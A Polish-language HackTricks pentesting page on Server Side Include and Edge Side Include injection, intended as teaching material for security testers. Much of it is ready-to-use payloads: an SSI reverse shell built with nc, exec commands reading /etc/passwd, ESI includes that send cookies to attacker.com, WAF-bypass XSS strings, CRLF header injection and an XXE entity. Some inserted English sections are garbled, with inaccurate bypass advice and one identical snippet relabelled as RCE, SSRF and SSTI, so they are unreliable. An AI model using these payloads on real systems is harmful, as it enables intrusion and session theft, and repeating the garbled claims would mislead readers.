# Wstrzykiwanie kodu Server Side Inclusion/Edge Side Inclusion

<details>

<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub**.

</details>

## Podstawowe informacje o Server Side Inclusion

**(Wprowadzenie zaczerpnięte z [dokumentacji Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**

SSI (Server Side Includes) to dyrektywy, które są **umieszczane w stronach HTML i oceniane na serwerze** podczas ich udostępniania. Pozwalają one **dodawać dynamicznie generowane treści** do istniejącej strony HTML, bez konieczności udostępniania całej strony za pomocą programu CGI lub innej technologii dynamicznej.\
Na przykład, można umieścić dyrektywę w istniejącej stronie HTML, takiej jak:

`<!--#echo var="DATE_LOCAL" -->`

I, gdy strona jest udostępniana, ten fragment zostanie oceniony i zastąpiony swoją wartością:

`Wtorek, 15 stycznia 2013, 19:28:54 EST`

Decyzja, kiedy używać SSI, a kiedy cała strona powinna być generowana przez jakiś program, zazwyczaj zależy od tego, ile treści na stronie jest statycznych, a ile musi być ponownie obliczanych za każdym razem, gdy strona jest udostępniana. SSI jest doskonałym sposobem na dodawanie małych fragmentów informacji, takich jak bieżący czas - jak pokazano powyżej. Ale jeśli większość strony jest generowana w momencie jej udostępniania, należy poszukać innych rozwiązań.

Można wnioskować o obecności SSI, jeśli aplikacja internetowa używa plików o rozszerzeniach \*\* `.shtml`, `.shtm` lub `.stm`\*\*, ale nie jest to jedyny przypadek.

Typowe wyrażenie SSI ma następujący format:
```
<!--#directive param="value" -->
```
### Sprawdzenie

Aby sprawdzić podatność na wstrzyknięcie zawartości po stronie serwera (SSI/ESI), wykonaj następujące kroki:

1. **Zidentyfikuj punkt wstrzyknięcia**: Przeglądaj kod źródłowy aplikacji internetowej w poszukiwaniu miejsc, w których użytkownik może wprowadzać dane, które są następnie wykorzystywane do generowania dynamicznej zawartości strony. Może to obejmować parametry URL, formularze, pliki cookie, nagłówki HTTP itp.

2. **Sprawdź, czy można wstrzyknąć kod**: Spróbuj wstrzyknąć kod SSI/ESI, dodając odpowiednie znaczniki do danych wejściowych. Na przykład, w przypadku SSI, użyj `<!--#include virtual="file.txt" -->`, a w przypadku ESI, użyj `<esi:include src="file.txt" />`. Jeśli kod zostanie wykonany i zawartość pliku zostanie wyświetlona na stronie, oznacza to, że aplikacja jest podatna na wstrzyknięcie zawartości po stronie serwera.

3. **Sprawdź dostępność plików**: Jeśli udało się wstrzyknąć kod, sprawdź, czy można uzyskać dostęp do innych plików na serwerze. Wypróbuj różne ścieżki plików, takie jak `/etc/passwd`, `/etc/shadow`, `/etc/hosts`, aby sprawdzić, czy można uzyskać poufne informacje lub wykonać atak na serwer.

4. **Sprawdź możliwość wykonania kodu**: Jeśli aplikacja wykonuje kod SSI/ESI z uprawnieniami systemowymi, spróbuj wstrzyknąć kod, który pozwoli na wykonanie dowolnego kodu na serwerze. Na przykład, w przypadku SSI, użyj `<!--#exec cmd="command" -->`, a w przypadku ESI, użyj `<esi:eval>command</esi:eval>`. Jeśli kod zostanie wykonany i wynik zostanie wyświetlony na stronie, oznacza to, że aplikacja jest podatna na wykonanie kodu.

5. **Zgłoś znalezioną podatność**: Jeśli udało się znaleźć podatność na wstrzyknięcie zawartości po stronie serwera, zgłoś ją odpowiedniej osobie lub zespołowi odpowiedzialnemu za bezpieczeństwo aplikacji. Przedstaw dokładne informacje o podatności, włączając w to kroki reprodukcji i dowody potwierdzające jej istnienie.

Pamiętaj, że testowanie podatności na wstrzyknięcie zawartości po stronie serwera powinno być przeprowadzane tylko na legalnych i uprawnionych systemach, zgodnie z obowiązującymi przepisami i zgodnie z zasadami etycznego hakowania.
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

```
## Włączenie po stronie serwera

Istnieje problem z **buforowaniem informacji lub dynamicznych aplikacji**, ponieważ część treści może ulec **zmianie** przed kolejnym pobraniem treści. Do tego celu służy **ESI**, który wskazuje za pomocą tagów ESI **dynamiczną treść, która musi zostać wygenerowana** przed wysłaniem wersji buforowanej.\
Jeśli **atakujący** jest w stanie **wstrzyknąć tag ESI** do treści buforowanej, może on wtedy **wstrzyknąć dowolną treść** do dokumentu przed wysłaniem go do użytkowników.

### Wykrywanie ESI

Następujący **nagłówek** w odpowiedzi serwera oznacza, że serwer korzysta z ESI:
```
Surrogate-Control: content="ESI/1.0"
```
Jeśli nie możesz znaleźć tego nagłówka, serwer **może i tak używać ESI**.\
Można również zastosować **ślepe podejście do eksploatacji**, ponieważ żądanie powinno dotrzeć do serwera atakującego:
```javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### Wykorzystanie ESI

[GoSecure stworzył](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) tabelę, aby zrozumieć możliwe ataki, które możemy przeprowadzić na różnym oprogramowaniu obsługującym ESI, w zależności od obsługiwanej funkcjonalności:

* **Includes**: Obsługuje dyrektywę `<esi:includes>`
* **Vars**: Obsługuje dyrektywę `<esi:vars>`. Przydatne do omijania filtrów XSS
* **Cookie**: Ciasteczka dokumentu są dostępne dla silnika ESI
* **Wymagane nagłówki przekazywane w górę**: Aplikacje pośredniczące nie będą przetwarzać instrukcji ESI, dopóki aplikacja nadrzędna nie dostarczy nagłówków
* **Whitelist hostów**: W tym przypadku, ESI includes są możliwe tylko z dozwolonych serwerów, co umożliwia np. atak SSRF tylko na te hosty

|         **Oprogramowanie**         | **Includes** | **Vars** | **Cookies** | **Wymagane nagłówki przekazywane w górę** | **Whitelist hostów** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|            Squid3            |      Tak     |    Tak   |     Tak     |              Tak              |         Nie         |
|         Varnish Cache        |      Tak     |    Nie    |      Nie     |              Tak              |         Tak        |
|            Fastly            |      Tak     |    Nie    |      Nie     |               Nie              |         Tak        |
| Akamai ESI Test Server (ETS) |      Tak     |    Tak   |     Tak     |               Nie              |         Nie         |
|          NodeJS esi          |      Tak     |    Tak   |     Tak     |               Nie              |         Nie         |
|         NodeJS nodesi        |      Tak     |    Nie    |      Nie     |               Nie              |      Opcjonalne      |

#### XSS

Następująca dyrektywa ESI załaduje dowolny plik w odpowiedzi serwera.
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Ominięcie ochrony klienta przed atakami XSS

To bypass client XSS protection, you can try the following techniques:

1. **HTML encoding**: Encode the malicious payload using HTML entities to bypass client-side XSS filters. For example, `<` can be encoded as `&lt;` and `>` as `&gt;`.

2. **JavaScript encoding**: Encode the payload using JavaScript functions like `encodeURIComponent()` or `escape()` to bypass client-side XSS filters. This will prevent the execution of the payload by the client's browser.

3. **Event handlers**: Use event handlers like `onmouseover` or `onerror` to trigger the execution of the payload. This can bypass client-side XSS filters that only look for specific HTML tags or attributes.

4. **DOM-based XSS**: Exploit vulnerabilities in the Document Object Model (DOM) to inject and execute malicious code. This can bypass client-side XSS filters that rely on parsing HTML tags and attributes.

5. **Polyglot payloads**: Craft payloads that can be interpreted as both JavaScript and HTML. This can bypass client-side XSS filters that only look for specific content types.

Remember to always test your bypass techniques thoroughly to ensure they work as intended.
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### Kradzież ciasteczka

* Zdalna kradzież ciasteczka
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Kradnij ciasteczko HTTP\_ONLY za pomocą XSS, odbijając je w odpowiedzi:

```html
<script>
    var img = new Image();
    img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>
```

* Inject malicious code into a server-side include (SSI) vulnerable application:

```html
<!--#exec cmd="ls" -->
```

* Exploit a server-side include (SSI) injection vulnerability to execute arbitrary commands:

```html
<!--#exec cmd="cat /etc/passwd" -->
```

* Exploit a server-side include (SSI) injection vulnerability to include remote files:

```html
<!--#include virtual="http://attacker.com/malicious-file.txt" -->
```

* Exploit an edge-side include (ESI) injection vulnerability to include remote files:

```html
<esi:include src="http://attacker.com/malicious-file.txt" />
```

* Exploit an edge-side include (ESI) injection vulnerability to execute arbitrary commands:

```html
<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://attacker.com/malicious-file.txt" />
</esi:remove>
```

* Exploit an edge-side include (ESI) injection vulnerability to perform server-side request forgery (SSRF):

```html
<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://internal-server.com/secret-file.txt" />
</esi:remove>
```

* Exploit an edge-side include (ESI) injection vulnerability to perform remote code execution (RCE):

```html
<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://attacker.com/malicious-file.txt" />
</esi:remove>
```

* Exploit an edge-side include (ESI) injection vulnerability to perform server-side template injection (SSTI):

```html
<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://attacker.com/malicious-template.txt" />
</esi:remove>
```
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Prywatny lokalny plik

Nie mylić z "Włączeniem lokalnego pliku":
```markup
<esi:include src="secret.txt">
```
#### CRLF

CRLF (Carriage Return Line Feed) to sekwencja znaków używana do oznaczania nowej linii w tekstowych plikach. Składa się z dwóch znaków: powrotu karetki (CR) i podawania linii (LF). W niektórych przypadkach, takich jak ataki wstrzykiwania SSI (Server-Side Inclusion) i ESI (Edge-Side Inclusion), CRLF może być wykorzystywane do wykonania ataków wstrzykiwania kodu lub manipulacji zawartości strony internetowej. Atakujący może wstrzyknąć znaki CRLF w celu wprowadzenia niechcianych linii lub instrukcji do kodu źródłowego strony, co może prowadzić do różnych problemów bezpieczeństwa, takich jak wycieki informacji, ataki XSS (Cross-Site Scripting) lub ataki CSRF (Cross-Site Request Forgery). Aby zabezpieczyć aplikacje przed atakami CRLF Injection, należy odpowiednio filtrować i walidować dane wejściowe, a także unikać bezpośredniego wstrzykiwania danych użytkownika do kodu źródłowego strony.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Przekierowanie otwarte

Następujący kod doda nagłówek `Location` do odpowiedzi.
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Dodaj nagłówek

* Dodaj nagłówek w wymuszonym żądaniu
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Dodaj nagłówek w odpowiedzi (użyteczne do obejścia "Content-Type: text/json" w odpowiedzi z XSS)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF w dodawaniu nagłówka (**CVE-2019-2438)**

Wady typu CRLF (Carriage Return Line Feed) mogą wystąpić, gdy aplikacja internetowa nieprawidłowo obsługuje znaki powrotu karetki i nowej linii w nagłówkach HTTP. W przypadku podatności CVE-2019-2438, atakujący może wykorzystać ten błąd, aby wstrzyknąć złośliwe nagłówki i przeprowadzić ataki typu Server-Side Request Forgery (SSRF) lub Cross-Site Scripting (XSS).

Atakujący może wykorzystać podatność CRLF, aby zmienić zawartość nagłówka, taką jak User-Agent, Referer lub Set-Cookie. Może to prowadzić do różnych ataków, takich jak przekierowanie użytkownika na złośliwe strony, kradzież sesji lub wykonanie dowolnego kodu JavaScript na stronie.

Aby wykorzystać tę podatność, atakujący musi znaleźć miejsce, w którym aplikacja internetowa nieprawidłowo obsługuje znaki CRLF w nagłówkach HTTP. Następnie może wstrzyknąć złośliwe znaki, takie jak `%0d` i `%0a`, aby rozdzielić nagłówki i wstrzyknąć własne dane.

Aby zabezpieczyć się przed atakami CRLF, należy skrupulatnie sprawdzać i filtrować wszelkie dane wprowadzane przez użytkowników, które mogą być wykorzystane do modyfikacji nagłówków HTTP. Ważne jest również regularne aktualizowanie oprogramowania i bibliotek, aby uniknąć wykorzystania znanych podatności.
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Debugowanie Akamai

To spowoduje wysłanie informacji debugowania dołączonych do odpowiedzi:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE

Poprzez określenie wartości `xslt` dla parametru _dca_, możliwe jest uwzględnienie ESI opartego na **`eXtensible Stylesheet Language Transformations (XSLT)`**. Włączenie powoduje pobranie plików XML i XSLT przez serwującego HTTP, przy czym ten drugi filtruje ten pierwszy. Takie pliki XML są podatne na ataki _XML External Entity (XXE)_, umożliwiające atakującym wykonanie ataków SSRF. Jednak użyteczność tego podejścia jest ograniczona, ponieważ ESI już służy jako wektor SSRF. Ze względu na brak obsługi w bibliotece Xalan, zewnętrzne DTD nie są przetwarzane, co uniemożliwia wydobycie lokalnych plików.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
Plik XSLT:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Sprawdź stronę XSLT:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}

### Odwołania

* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)

## Lista wykrywania prób siłowych

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**

</details>